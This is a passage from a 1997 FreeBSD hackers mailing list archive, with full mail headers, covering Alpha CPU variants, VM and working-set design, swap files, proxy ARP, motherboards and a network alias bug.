it rather than via a library or some > other front end, this thing needs to run rather quickly ;) the manual pages for bpf(4) and pcap(3) should give you enough to start. --mark. From owner-freebsd-hackers Wed Aug 13 07:15:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA19170 for hackers-outgoing; Wed, 13 Aug 1997 07:15:04 -0700 (PDT) Received: from milo.cfw.com (milo.cfw.com [205.219.240.6]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA19165 for ; Wed, 13 Aug 1997 07:15:01 -0700 (PDT) Received: from RA26wb19.cfw.com by milo.cfw.com; (5.65v3.2/1.1.8.2/12Dec95-0403PM) id AA00194; Wed, 13 Aug 1997 10:15:57 -0400 Message-Id: <9708131415.AA00194@milo.cfw.com> From: "Paul Missman" To: Subject: Modem problem Date: Wed, 13 Aug 1997 09:53:39 -0400 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1008.3 X-Mimeole: Produced By Microsoft MimeOLE Engine V4.71.1008.3 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm having a problem with an internel modem which quits talking to the net after a period of heavy traffic. Is there a diagnostic which runs under FreeBSD that would put the modem into internal loopback and run data into and out of it for a long time? I'm trying to rule out the external net as the source of the problem. Thanks, Paul Missman From owner-freebsd-hackers Wed Aug 13 07:51:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA20992 for hackers-outgoing; Wed, 13 Aug 1997 07:51:08 -0700 (PDT) Received: from smtp1.ts.kiev.ua (viking.ts.kiev.ua [193.124.229.195]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA20985 for ; Wed, 13 Aug 1997 07:51:04 -0700 (PDT) Received: from aviion.ts.kiev.ua by smtp1.ts.kiev.ua with SMTP id RAA04931; (8.8.3/zah/2.1) Wed, 13 Aug 1997 17:45:01 +0300 (EET DST) Received: from nbki.ipri.kiev.ua by aviion.ts.kiev.ua with ESMTP id PAA03404; (8.6.11/zah/2.1) Wed, 13 Aug 1997 15:27:39 GMT Received: from cki.ipri.kiev.ua by nbki.ipri.kiev.ua with ESMTP id QAA00435; (8.6.9/zah/1.1) Wed, 13 Aug 1997 16:30:37 +0100 Received: from 194.44.146.14 (mac.ipri.kiev.ua [194.44.146.14]) by cki.ipri.kiev.ua (8.7.6/8.7.3) with SMTP id QAA04261; Wed, 13 Aug 1997 16:25:16 +0300 (EET DST) Message-ID: <33F1A81E.4B9@cki.ipri.kiev.ua> Date: Wed, 13 Aug 1997 15:27:10 +0300 From: Ruslan Shevchenko Reply-To: rssh@cki.ipri.kiev.ua Organization: IPRI X-Mailer: Mozilla 3.01Gold (Macintosh; I; 68K) MIME-Version: 1.0 To: Alfred Perlstein CC: hackers@FreeBSD.ORG Subject: Re: generic compiling programming language? References: Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Alfred Perlstein wrote: > > I know C is 'portable' but it still requires some major hacking to get > programs working on various OSes, and Java can be used/compiled almost > everywhere, although i think it requires a graphical display (right?) > and it is pretty slow and not a good choice for many intesive > applications. > > Why isn't there a "Java" that is not interpreted? but could be easily > cross compiled for any machine? > > Or is everyone hiding something from me? :) > 1. Toba (java 2 c compiler) from uniwersity of Arisona. (I can't remember link, try altavista) 2. Internal work for Java front-end to gcc in cygnus. > ._________________________________________ __ _ > |Alfred Perlstein - Programming & SysAdmin > |perlsta@sunyit.edu > |http://www.cs.sunyit.edu/~perlsta > : ---"Have you seen my FreeBSD tatoo?" > ' From owner-freebsd-hackers Wed Aug 13 08:25:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA23379 for hackers-outgoing; Wed, 13 Aug 1997 08:25:48 -0700 (PDT) Received: from crh.cl.msu.edu (crh.cl.msu.edu [35.8.1.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA23372 for ; Wed, 13 Aug 1997 08:25:44 -0700 (PDT) Received: (from henrich@localhost) by crh.cl.msu.edu (8.8.5/8.8.5) id LAA28274; Wed, 13 Aug 1997 11:24:54 -0400 (EDT) Date: Wed, 13 Aug 1997 11:24:54 -0400 (EDT) From: Charles Henrich Message-Id: <199708131524.LAA28274@crh.cl.msu.edu> To: mrcpu@cdsnet.net, freebsd-hackers@freebsd.org Subject: Re: What's the interest in standard tools rewritten in perl? Newsgroups: lists.freebsd.hackers References: <5squ47$qho$1@msunews.cl.msu.edu> X-Newsreader: NN version 6.5.0 CURRENT #1 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In lists.freebsd.hackers you write: >I was in the process of adding some flexibility to newsyslog, and decided >to just rewrite the darn thing in perl5. >Essentially I added the ability to datestamp the logfiles, and a couple of >other things. >I can always call it something else (newnewsyslog?), but I was wondering >if FreeBSD Inc would consider utilities that were not written in C? Seems >like there was some discussion about lack of tools in TCL and Perl, but >I'm not sure about the politics of tool replacement, as opposed to tool >addition. >Anyway, just curious. I'd hate to see FreeBSD go the way of Microsoft, slow and bloated. Please, no perl unless absolutely neccesary! -Crh -- Charles Henrich Michigan State University henrich@msu.edu http://pilot.msu.edu/~henrich From owner-freebsd-hackers Wed Aug 13 09:27:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA27676 for hackers-outgoing; Wed, 13 Aug 1997 09:27:07 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA25388 for ; Wed, 13 Aug 1997 08:28:39 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wyfK1-0003Sp-00; Wed, 13 Aug 1997 08:26:53 -0700 Date: Wed, 13 Aug 1997 08:26:52 -0700 (PDT) From: Tom Samplonius To: mika ruohotie cc: Peter Korsten , donal@brewich.com, hackers@freebsd.org, dwhite@gdi.uoregon.edu Subject: Re: vm_fault problem (fwd) In-Reply-To: <199708131105.OAA13366@shadows.aeon.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 13 Aug 1997, mika ruohotie wrote: > > Too bad that you don't mention what the setup used to be. What I'dA > > suggest, is: > > - Buy a quality motherboard, like Asus or Tyan. 'Gigabyte' > > doesn't ring a bell, but that could be just me. > > gigabyte _is_ a quality board, so it's just you. gigabyte makes some real cheap junk. > i've used HX gigabytes with success, ofcourse, board can be always > broken. > > generally asus gives me more headache than gigabyte, also with 66 meg > bus gigabyte is way faster than asus, it's only little slower than > tyans... Huh? I guess a "66 meg bus" is a 66mhz bus? What motherboard doesn't do that? In fact the ASUS P55T2P4 (now this is good motherboard) supports >66mhz speeds too. > mickey Tom From owner-freebsd-hackers Wed Aug 13 09:29:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA00807 for hackers-outgoing; Wed, 13 Aug 1997 09:29:22 -0700 (PDT) Received: from cynic.portal.ca (root@cynic.portal.ca [204.174.36.7]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA00185 for ; Wed, 13 Aug 1997 09:28:58 -0700 (PDT) Received: from localhost ([[UNIX: localhost]]) by cynic.portal.ca (8.8.5/8.8.5) with SMTP id JAA22266; Wed, 13 Aug 1997 09:27:22 -0700 (PDT) X-Authentication-Warning: cynic.portal.ca: cjs owned process doing -bs Date: Wed, 13 Aug 1997 09:27:16 -0700 (PDT) From: Curt Sampson To: Jason Thorpe cc: Ada T Lim , "Jamil J. Weatherbee" , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD --- ALPHA In-Reply-To: <199708131138.EAA02444@lestat.nas.nasa.gov> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 13 Aug 1997, Jason Thorpe wrote: > No. The "cheap" [CPUs] are incapable of running other than NT PALcode. Actually, I've heard rumours that the current NT CPUs don't have the fusable link which fixes the what's-it-called page mapping blown. However, you still get them on motherboards that won't run SRM. Bit annoying the way you can get an NT CPU for $1300 and the DU one is well over $4000, isn't it? cjs Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ Internet Portal Services, Inc. Through infinite myst, software reverberates Vancouver, BC (604) 257-9400 In code possess'd of invisible folly. From owner-freebsd-hackers Wed Aug 13 09:31:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA03703 for hackers-outgoing; Wed, 13 Aug 1997 09:31:30 -0700 (PDT) Received: from onyx.atipa.com (ns.atipa.com [208.128.22.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA01955 for ; Wed, 13 Aug 1997 09:30:10 -0700 (PDT) Received: (qmail-queue invoked by uid 1018); 13 Aug 1997 16:32:18 -0000 Date: Wed, 13 Aug 1997 10:32:18 -0600 (MDT) From: Atipa X-Sender: freebsd@dot.ishiboo.com To: Ada T Lim cc: "Jamil J. Weatherbee" , freebsd-hackers@FreeBSD.ORG Subject: Alpha Benchmarks was: Re: FreeBSD --- ALPHA In-Reply-To: <199708130841.SAA13894@polya.blah.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 13 Aug 1997, Ada T Lim wrote: > > I was looking at alpha motherboards / systems tonight when I noted that > > there are actually two different versions of the 500MHz 21164, an NT > > (&linux) version and a UNIX (DEC UNIX). Apparently the UNIX version is > > different and more expensive but will run NT also (the reverse is not > > true). So what processor will freebsd-alpha run on, and Is the UNIX > > version actually better or what? > > I believe this is a DEC marketing ploy - Digital Unix may test for the > different processor and fail on the cheap one, simply so they can subsidise > the cost of Digital Unix without making it look _too_ expensive. Not true. They are noticably different. The benchmarks show: +--------------+------------+-----------+ | 533MHz | SPECint95 | SPECfp95 | +--------------|------------|-----------| | 21164 (LX) | 16.4 | 22.5 | +--------------|------------|-----------| | 21164PC (SX) | 14.0 | 17.0 | +--------------|------------|-----------| | 300MHz P-II | 11.6 | 7.2 | (Intel's closest to referece) +--------------+------------+-----------+ Max programmable bus speed for the 21164 is 200MHz, and the highest for the 21164PC is 133MHz. NT (Linux/OpenBSD/NetBSD???) requires the "Windows NT Alpha BIOS Firmware" on the motherboard. You can get the BIOS on either the SX or LX motherboard. Both of these are tons faster than a 300MHz Pentium II. Our latest DEC catalog says to look for the next generation of Alpha to use a 0.25 micron CMOS process, with SPECint95 over 30, and SPECfp95 over 50, and 2GB/sec memory bandwidth. That's over 700% faster floating point than a 300MHz Pentium II! Can't wait for FreeBSD to support it... Kevin From owner-freebsd-hackers Wed Aug 13 09:35:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA08455 for hackers-outgoing; Wed, 13 Aug 1997 09:35:41 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA08349 for ; Wed, 13 Aug 1997 09:35:33 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA12535 for freebsd-hackers@FreeBSD.ORG; Wed, 13 Aug 1997 09:31:06 -0700 From: Terry Lambert Message-Id: <199708131631.JAA12535@phaeton.artisoft.com> Subject: Re: Memory management details To: freebsd-hackers@FreeBSD.ORG Date: Wed, 13 Aug 1997 09:31:05 -0700 (MST) In-Reply-To: <19970813014802.27316.qmail@hotmail.com> from "Douglas Jardine" at Aug 12, 97 06:48:02 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > 1)The mail archives seem to indicate that the latest versions of > FreeBSD use a zone memory allocator which replaced the 4.4BSD > buddy system allocator. Is this correct? Midified zone. It *looks* like a MACH memory allocator because most of the API's have been maintained. > 2)Is FreeBSD considering moving to a more simplified pmap module? > Since it is customized to run only on i386 architeure, there > doesn't seem to be any need for maintaining whatever extra fat > the pmap module may have. FreeBSD is planning on being run on other architectures. If one is hopping around on his right foot, he doesn't shoot his left foot just because he isn't currently using it. 8-). > 3)FreeBSD uses Global-LRU for its page replacement. Is there any > project in the FreeBSD community working towards a working-set > type model? I have argued for this for some time, citing the SVR4 "ld"'s worst case behaviour (it mmap's the object files, and randomly accesses them in memory). On SVR4, this causes the VM and buffer cache to thrash between them, as well as allowing particular files to monopolize available memory. FreeBSD is somewhat tolerant of this. First, it has a unified VM and buffer cache, so the VM and buffer cache systems are never at odds over memory: it is identical. Second, FreeBSD agressively prefers swap to LRU discard of pages; this means that it will appear as if the swap is fully utilized on even a lightly loaded system, after some moderate activity. But it means that the LRU locality is increased by being amortized over real memory + swap, instead of just over real memory. Nevertheless, it would be a good idea to implement working set quotas to prevent worst case denial of service attacks, which though more difficult in FreeBSD, are still rather trivial to code up. The simplest method of implementing a working set is to establish it on a per vnode rather than on a per process basis. This is because the unified cache means that pages hung off a vnode are shared between multiple processes on the vnode. If process A is over quota, culling pages from a vnode shared with process B (this is what VMS does to pagefile pages, and, I believe what NT does) is a bad idea. Instead, if you establish a per vnode working set quota, you prevent a particular vnode from monopolizing system resources. This is pretty trivial to implement, since it is a tiny modification in the vnode page replacement algorithm, to steal LRU pages from the vnode itself instead of the global LRU, once the vnode hits quote. The catch is that you must maintain a page count, as well as a page chain, and that a global LRU steal for a global resource shortage must adjust the count on the vnode stolen from. Basically, it's a no-brainer. I implemented something similar to this in the UnixWare 2.0 VM system to try and get around the "move mouse, wiggle cursor" bug, where if an ld was going on, the pages for the X server were swapped out. Even a trivial implementation worked *remarkably* well. Novell/USG (USL) elected to put the X server in a seperate scheduling class ("fixed") instead, as their soloution. I still believe this was an error. > 4)Or for that matter a project to add "swap files"? What is the > maximum number of swap partitions allowed by the architecture? It's already in there. > Get Your Private, Free Email at http://www.hotmail.com Hopefully you are a list subscriber -- I have removed your "hotmail" address from my response address list. You should be aware that "hotmail", like "juno", is an address harvester for people you send mail to or get mail from. As such, people will be reluctant to communicate with you directly because they don't want their email address sold to spammers. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Aug 13 09:39:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA11605 for hackers-outgoing; Wed, 13 Aug 1997 09:39:49 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA11563; Wed, 13 Aug 1997 09:39:37 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA12554; Wed, 13 Aug 1997 09:34:38 -0700 From: Terry Lambert Message-Id: <199708131634.JAA12554@phaeton.artisoft.com> Subject: Re: 2.2.2+ crash.. more info To: dg@root.com Date: Wed, 13 Aug 1997 09:34:38 -0700 (MST) Cc: julian@FreeBSD.ORG, hackers@FreeBSD.ORG In-Reply-To: <199708130443.VAA07651@implode.root.com> from "David Greenman" at Aug 12, 97 09:43:13 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Quite likely. It's fairly easy to have a bug where a resource is exhausted > (usually memory) in a subroutine called from an interrupt routine, resulting > in a tsleep() if the call to malloc isn't M_NOWAIT. Is there any way we could talk you into adding an #ifdef DIAGNOSTIC to malloc to catch this case? Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Aug 13 10:09:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA13077 for hackers-outgoing; Wed, 13 Aug 1997 10:09:25 -0700 (PDT) Received: from biggusdiskus.flyingfox.com (biggusdiskus.flyingfox.com [206.14.52.27]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA13068 for ; Wed, 13 Aug 1997 10:09:18 -0700 (PDT) Received: (from jas@localhost) by biggusdiskus.flyingfox.com (8.8.5/8.8.5) id KAA12621; Wed, 13 Aug 1997 10:06:39 -0700 (PDT) Date: Wed, 13 Aug 1997 10:06:39 -0700 (PDT) From: Jim Shankland Message-Id: <199708131706.KAA12621@biggusdiskus.flyingfox.com> To: danny@cs.huji.ac.il, tom@sdf.com Subject: Re: PROXY ARP Cc: hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >From owner-freebsd-hackers@FreeBSD.ORG Tue Aug 12 22:27:48 1997 Date: Tue, 12 Aug 1997 21:27:08 -0700 (PDT) From: Tom Samplonius To: Danny Braniss cc: hackers@FreeBSD.ORG Subject: Re: PROXY ARP In-Reply-To: <199708121623.TAA17934@sexta.cs.huji.ac.il> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Tom Samplonius writes: > The whole idea of bridging has some problems. Route and/or switch > instead. As Alex Trebek would say, "Can you be more specific?" Do you mean the code isn't really there in FreeBSD? Or that ARP-level bridging is inherently a bad idea? If the latter, why? Jim Shankland Flying Fox Computer Systems, Inc. From owner-freebsd-hackers Wed Aug 13 10:13:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA13344 for hackers-outgoing; Wed, 13 Aug 1997 10:13:10 -0700 (PDT) Received: from smoke.marlboro.vt.us (smoke.marlboro.vt.us [198.206.215.91]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA13334 for ; Wed, 13 Aug 1997 10:12:59 -0700 (PDT) Received: (from cgull@localhost) by smoke.marlboro.vt.us (8.8.5/8.8.5/cgull) id NAA03925; Wed, 13 Aug 1997 13:12:41 -0400 (EDT) Date: Wed, 13 Aug 1997 13:12:41 -0400 (EDT) Message-Id: <199708131712.NAA03925@smoke.marlboro.vt.us> From: john hood MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="IfVSRq12y7" Content-Transfer-Encoding: 7bit To: "Jordan K. Hubbard" Cc: Ada T Lim , jamil@counterintelligence.ml.org (Jamil J. Weatherbee), freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD --- ALPHA In-Reply-To: <22390.871468993@time.cdrom.com> References: <199708130841.SAA13894@polya.blah.org> <22390.871468993@time.cdrom.com> X-Mailer: VM 6.31 under Emacs 19.34.2 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk --IfVSRq12y7 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jordan K. Hubbard writes: > Naw, it's probably just a standard alpha motherboard and CPU with the > SRM console instead of the ARC console code. That's another IBU > within DEC and they have their own little surcharges for using SRM > which get passed on to the consumer. > > Jordan There are actually different parts available from the semiconductor folks, one which is subtly munged in its MMU so that it cannot run OSF/1 (or SRM, I don't know which). Here's a message body out of one of the linux mailing lists-- sorry about the lack of headers, it came out of some modestly-evil WWW search UI. --jh -- John Hood cgull@smoke.marlboro.vt.us Predictably, they all eventually wandered away, rubbing their bruises and brushing mud out of their hair. Some went off to work for the ESA, launching much smaller rockets into low orbits, while others elected to sit on their front porches drinking Jim Beam from the bottle and launching bottle rockets from the empties. [Jordan Hubbard] --IfVSRq12y7 Content-Type: text/plain; charset=us-ascii Content-Description: goo from the dark side Content-Disposition: inline; filename="include.txt" Content-Transfer-Encoding: 7bit On Tue, 20 Feb 1996, David Mosberger wrote: > As long as it's capable of running Linux, most people probably won't > have a problem with this, if it means cheaper machines. However, is > this different behavior *documented* someplace? I'd really hate > spending hours debugging something that just doesn't work according to > specs. If the hw ref manuals are accurate all is fine. Otherwise, I > might just as well buy an x86. Intel has a real good history of not > documenting chip features (at least not without NDA). I hope Digital > is not following the same path. And Erik wrote: >>Last thing I heard, none of these crippled chips have actually been >>manufactured yet. Jim Paradis knows all about this stuff though... care >>to speak up Jim? >>Erik The 'crippled' versions have a -Pn suffix (for various integer n) and the difference in behaviour is documented in the IPR chapter of the HRM, rev C (EC-QAEQC-TE) and later (I expect it is also documented elsewhere). This change is not (nor is it intended to be) a hidden, undocumented feature. The reason for its introduction is a reflection of the way that businesses are organised (and therefore revenue channelled) within Digital. That's beyond the scope of this discussion (no flames, please). To repeat: behaviour of -Pn versions is INDETERMINATE if you try to run the SRM, OpenVMS and Digital Unix. What that means is that it may work or it may not work. This gives us (Digital) the ability to sell identical chips or chips that have had the documented features disabled. Today, the chips are identical. Tomorrow (and particularly with the introduction of the 21164A) that may not be the case. The two features that are (maybe) disabled in the -Pn versions are: 1) SPE[0] must always be SET in ICSR (Ibox csr) 2) SP[0] must always be SET in the MCSR (Mbox CSR). These features control one of the superpage mappings. It is a static configuration that is performed during initialisation. My job is to provide factory apps. support for customers who design with Digital's silicon so I guess, on this one, I speak for Digital. regards, Neal. ---------------------------------------------------------------------- Neal Crook Principal Engineer, European Semiconductor Applications Engineering Digital Equipment Co. LTD EMAIL neal.crook@reo.mts.dec.com Mailstop RE02-F/B3 Tel. +44 1734 206297 Digital Park FAX +44 1734 203133 Imperial Way, Reading, RG2 0TU ENGLAND ---------------------------------------------------------------------- ---------------------------------oOOo--------------------------------- --IfVSRq12y7-- From owner-freebsd-hackers Wed Aug 13 10:37:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA14821 for hackers-outgoing; Wed, 13 Aug 1997 10:37:50 -0700 (PDT) Received: from kaori.communique.net (kaori.communique.net [204.27.67.55]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA14816 for ; Wed, 13 Aug 1997 10:37:45 -0700 (PDT) Received: by kaori.communique.net with Internet Mail Service (5.0.1457.3) id ; Wed, 13 Aug 1997 12:37:14 -0500 Message-ID: From: Raul Zighelboim To: "'hackers@freebsd.org'" Subject: maybe a bug ... Date: Wed, 13 Aug 1997 12:37:09 -0500 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1457.3) Content-Type: text/plain Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I had this: kiyoko:~$ ifconfig de0 de0: flags=8843 mtu 1500 inet 10.4.64.11 netmask 0xffffff00 broadcast 255.255.255.0 and I did the following: ifconfig de0 10.4.65.11 255.255.255.255 alias .........some 3 hours of activity....... ifconfig de0 10.4.65.11 255.255.255.255 delete and then I tried to connect to 10.4.65.7. I could not. The details: 10.4.64.0/24--------ROUTER------10.4.65.0/24 I have a route on ROUTER '10.4.65.11 ---> 10.4.64.11' netstat -nr show the expected routes, for example: destination GATEWAY 10.4.65.7 x:xx:xx:xx:xx:xx bla bla were x:xx:xx:xx:xx:xx was the ethernet address of ROUTER tcpdump would show that this machine was still using 10.4.65.11 as the source address, even though it was not defined in any of the interfaces. From owner-freebsd-hackers Wed Aug 13 10:38:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA14888 for hackers-outgoing; Wed, 13 Aug 1997 10:38:40 -0700 (PDT) Received: from iquest3.iquest.net (iquest3.iquest.net [209.43.20.203]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA14883 for ; Wed, 13 Aug 1997 10:38:38 -0700 (PDT) From: dyson@iquest.net Received: (qmail 19158 invoked from network); 13 Aug 1997 17:37:22 -0000 Received: from iquest7.iquest.net (206.53.230.110) by iquest3.iquest.net with SMTP; 13 Aug 1997 17:37:22 -0000 Received: (qmail 11242 invoked by uid 4420); 13 Aug 1997 17:37:21 -0000 Message-ID: <19970813173721.11238.qmail@iquest7.iquest.net> Subject: Re: Memory management details To: djardine@hotmail.com (Douglas Jardine) Date: Wed, 13 Aug 1997 12:37:21 -0500 (EST) Cc: freebsd-hackers@FreeBSD.ORG, djardine@hotmail.com In-Reply-To: <19970813014802.27316.qmail@hotmail.com> from "Douglas Jardine" at Aug 12, 97 06:48:02 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Hi, > > I had some questions regarding Memory allocation/management in > FreeBSD/4.4BSD. I was hoping some here would be able to help > me out. > > 1)The mail archives seem to indicate that the latest versions of > FreeBSD use a zone memory allocator which replaced the 4.4BSD > buddy system allocator. Is this correct? > We are using the zone allocator as an adjunct to the existing buddy allocator. Each is good in it's own ways, and it is likely that a few more data types will be moved to "zone." However, I don't see the malloc allocator going away entirely. > > 2)Is FreeBSD considering moving to a more simplified pmap module? > Since it is customized to run only on i386 architeure, there > doesn't seem to be any need for maintaining whatever extra fat > the pmap module may have. > Many of the pmap entry points are optional, and the pmap module could be considerably simplified at the expense of scalability. That isn't to say that a well-structured redesign isn't in order :-). > > 3)FreeBSD uses Global-LRU for its page replacement. Is there any > project in the FreeBSD community working towards a working-set > type model? > The VM people on FreeBSD (if religious at all) are not in favor of a working-set model. We do have trimming based upon working set, but it appears that most working set implementations appear to have more performance problems than we have. If there is some convincing evidence that a working set model would give us advantage in some way, I am sure that we would listen and try to participate. > > 4)Or for that matter a project to add "swap files"? What is the > maximum number of swap partitions allowed by the architecture? > That is a "bounded" project, that is pretty well understood, but just not done yet. I don't think that anyone has made any progress. Not to say that it is easy to do "right", but developing a properly functioning swap on/ swap off a file is less risky than any of the above. (The ONLY reason that we don't support swap-on directly, is that I don't want to see it until we get a swap-off also.) The swap-off is not trivial, but isn't brain-surgery either. John From owner-freebsd-hackers Wed Aug 13 11:37:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA18966 for hackers-outgoing; Wed, 13 Aug 1997 11:37:52 -0700 (PDT) Received: from csemail.cropsci.ncsu.edu (csemail.cropsci.ncsu.edu [152.1.88.3]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA18961 for ; Wed, 13 Aug 1997 11:37:48 -0700 (PDT) From: rdkeys@csemail.cropsci.ncsu.edu Received: by csemail.cropsci.ncsu.edu (5.61-AIX-1.2/1.0) id AA106278 (for freebsd-hackers@freebsd.org, from rdkeys/rdkeys@csemail.cropsci.ncsu.edu); Wed, 13 Aug 97 14:48:03 -0400 Message-Id: <9708131848.AA106278@csemail.cropsci.ncsu.edu> Subject: Status of 2.2.X vs 3.0 trees????? To: freebsd-hackers@freebsd.org Date: Wed, 13 Aug 1997 14:47:56 -0400 (EDT) Cc: rdkeys@csemail.cropsci.ncsu.edu () X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I am considering an installation of either 2.2.2xxxx----->> RELENG tree, or the 3.0-current tree. It really does not make a lot of difference to me which to use, BUT, I am interested in the tree that will be around for a while. Both trees seem to be moving along. I currently run 2.1.7.1 at home on three boxes, and 3.0-snaps on two work boxes. I have tried the 2.2.2 tree and it did not install well on my machines.....dunno why, when the others all did. I am comfy with the snaps, and they seem to run well, with no problems at all, so the base system is quite stable in my hands. The only problems I have had have been ``parsing errors'' from gcc on all kinds of sources on all the different levels of machine. That was strange. But, it was cured with a complete gcc reinstall from prep.gnu sources. I did not have sufficient drive capacity for a make world on the normal sources, but did for the gcc remake. I am getting another larger drive for one of my office machines and am considering putting either the 2.2-RELENG tree and updates to current or the 3.0-970807-SNAP on it. Which tree would be advisable to use for a person who wants a good plain system, but will wring the dickens out of the gcc with a bunch of my own non-system things? I don't mind using an ``experimental'' system, since all the features I need are there in either the releng or snap trees. I will be happy to do a make world and the updates via cvsup(?) as required to keep a snap going, or the releng tree going. I understand the 3.0 tree has the better code? YES/NO? My gut intuition says stay with the 3.0 snaps. Others have said saty with the 2.2.xxxxxx releng tree. Comments and thoughts appreciated. Thanks Bob Keys rdkeys@csemail.cropsci.ncsu.edu From owner-freebsd-hackers Wed Aug 13 12:00:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA20612 for hackers-outgoing; Wed, 13 Aug 1997 12:00:06 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA20607 for ; Wed, 13 Aug 1997 12:00:03 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wyieB-0007GP-00; Wed, 13 Aug 1997 12:59:55 -0600 To: Alfred Perlstein Subject: Re: SCSI support? urgent! plus driver info? Cc: hackers@freebsd.org In-reply-to: Your message of "Mon, 11 Aug 1997 22:49:26 -0000." <33EF96F6.167EB0E7@cs.sunyit.edu> References: <33EF96F6.167EB0E7@cs.sunyit.edu> Date: Wed, 13 Aug 1997 12:59:55 -0600 From: Warner Losh Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <33EF96F6.167EB0E7@cs.sunyit.edu> 